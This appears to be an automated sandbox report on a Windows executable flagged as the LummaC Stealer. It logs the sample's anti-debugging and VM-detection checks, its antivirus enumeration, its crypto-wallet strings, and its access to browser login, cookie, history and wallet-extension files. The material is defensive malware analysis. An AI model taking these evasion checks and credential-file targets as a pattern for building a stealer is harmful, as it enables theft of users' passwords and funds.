Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240B67 second address: 5240B6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240B6B second address: 5240B71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240B71 second address: 5240B76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240B9F second address: 5240BA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240BA5 second address: 5240BA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240BA9 second address: 5240BD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 453238F1h 0x0000000d jmp 00007FE1C8D8FEBFh 0x00000012 xor dword ptr [esp], 3098A4D9h 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240BD2 second address: 5240BED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D96877h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240BED second address: 5240BF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240BF2 second address: 5240C08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov di, AFC8h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b call 00007FE2395AB7DBh 0x00000010 push 75A52B70h 0x00000015 push dword ptr fs:[00000000h] 0x0000001c mov eax, dword ptr [esp+10h] 0x00000020 mov dword ptr [esp+10h], ebp 0x00000024 lea ebp, dword ptr [esp+10h] 0x00000028 sub esp, eax 0x0000002a push ebx 0x0000002b push esi 0x0000002c push edi 0x0000002d mov eax, dword ptr [75AB4538h] 0x00000032 xor dword ptr [ebp-04h], eax 0x00000035 xor eax, ebp 0x00000037 push eax 0x00000038 mov dword ptr [ebp-18h], esp 0x0000003b push dword ptr [ebp-08h] 0x0000003e mov eax, dword ptr [ebp-04h] 0x00000041 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000048 mov dword ptr [ebp-08h], eax 0x0000004b lea eax, dword ptr [ebp-10h] 0x0000004e mov dword ptr fs:[00000000h], eax 0x00000054 ret 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240C08 second address: 5240C20 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D8FEC4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240C20 second address: 5240C26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6BA10A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 87E5C6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 658DBE0 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 658DAEF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 67285EC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6726E10 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 673AD39 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 658DB94 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 67BD7BE instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_06591E85 rdtsc

0_2_06591E85

Source: C:\Users\user\Desktop\file.exe TID: 7492	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7652	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7472	Thread sleep time: -30015s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: file.exe, file.exe, 00000000.00000002.1727821407.000000000670A000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1722379838.0000000000839000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.1386498805.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: file.exe, 00000000.00000003.1386498805.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: file.exe, 00000000.00000003.1386498805.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: file.exe, 00000000.00000003.1386498805.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: file.exe, 00000000.00000002.1726915824.0000000005BA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}+
Source: file.exe, 00000000.00000002.1727034793.0000000005C43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: file.exe, 00000000.00000003.1386498805.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: file.exe, 00000000.00000003.1386498805.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: file.exe, 00000000.00000003.1386498805.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: file.exe, 00000000.00000003.1386498805.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: file.exe, 00000000.00000003.1386498805.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: file.exe, 00000000.00000003.1386498805.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: file.exe, 00000000.00000002.1723527128.00000000012F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1723527128.0000000001332000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1723527128.0000000001332000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn
Source: file.exe, 00000000.00000003.1386498805.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: file.exe, 00000000.00000003.1386498805.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: file.exe, 00000000.00000003.1386498805.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: file.exe, 00000000.00000003.1386498805.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: file.exe, 00000000.00000003.1386498805.0000000005BF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: file.exe, 00000000.00000003.1386498805.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: file.exe, 00000000.00000003.1386498805.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: file.exe, 00000000.00000003.1386498805.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: file.exe, 00000000.00000003.1386498805.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: file.exe, 00000000.00000003.1386498805.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: file.exe, 00000000.00000003.1386498805.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: file.exe, 00000000.00000003.1386498805.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: file.exe, 00000000.00000003.1386498805.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: file.exe, 00000000.00000002.1724329843.000000000138E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: file.exe, 00000000.00000002.1726915824.0000000005BA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\o
Source: file.exe, 00000000.00000003.1386498805.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: file.exe, 00000000.00000003.1386498805.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: file.exe, 00000000.00000003.1386498805.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: file.exe, 00000000.00000003.1386498805.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: file.exe, 00000000.00000003.1386498805.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: file.exe, 00000000.00000002.1727821407.000000000670A000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1722379838.0000000000839000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.1386498805.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: file.exe, 00000000.00000003.1386498805.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: file.exe, 00000000.00000003.1386498805.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: file.exe, 00000000.00000003.1386498805.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_06591E85 rdtsc

0_2_06591E85

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.1722379838.0000000000839000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Program Manager
Source: file.exe, file.exe, 00000000.00000002.1727821407.000000000670A000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: 9Program Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000000.00000003.1461273838.0000000005BA4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1461600058.00000000013AB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1461488592.00000000013A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: file.exe, 00000000.00000003.1516364900.000000000137F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: amFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: file.exe PID: 7416, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: file.exe, 00000000.00000003.1432777993.000000000139D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: file.exe	String found in binary or memory: %appdata%\Ethereum
Source: file.exe, 00000000.00000003.1435855496.000000000138E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000003.1432777993.000000000139D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
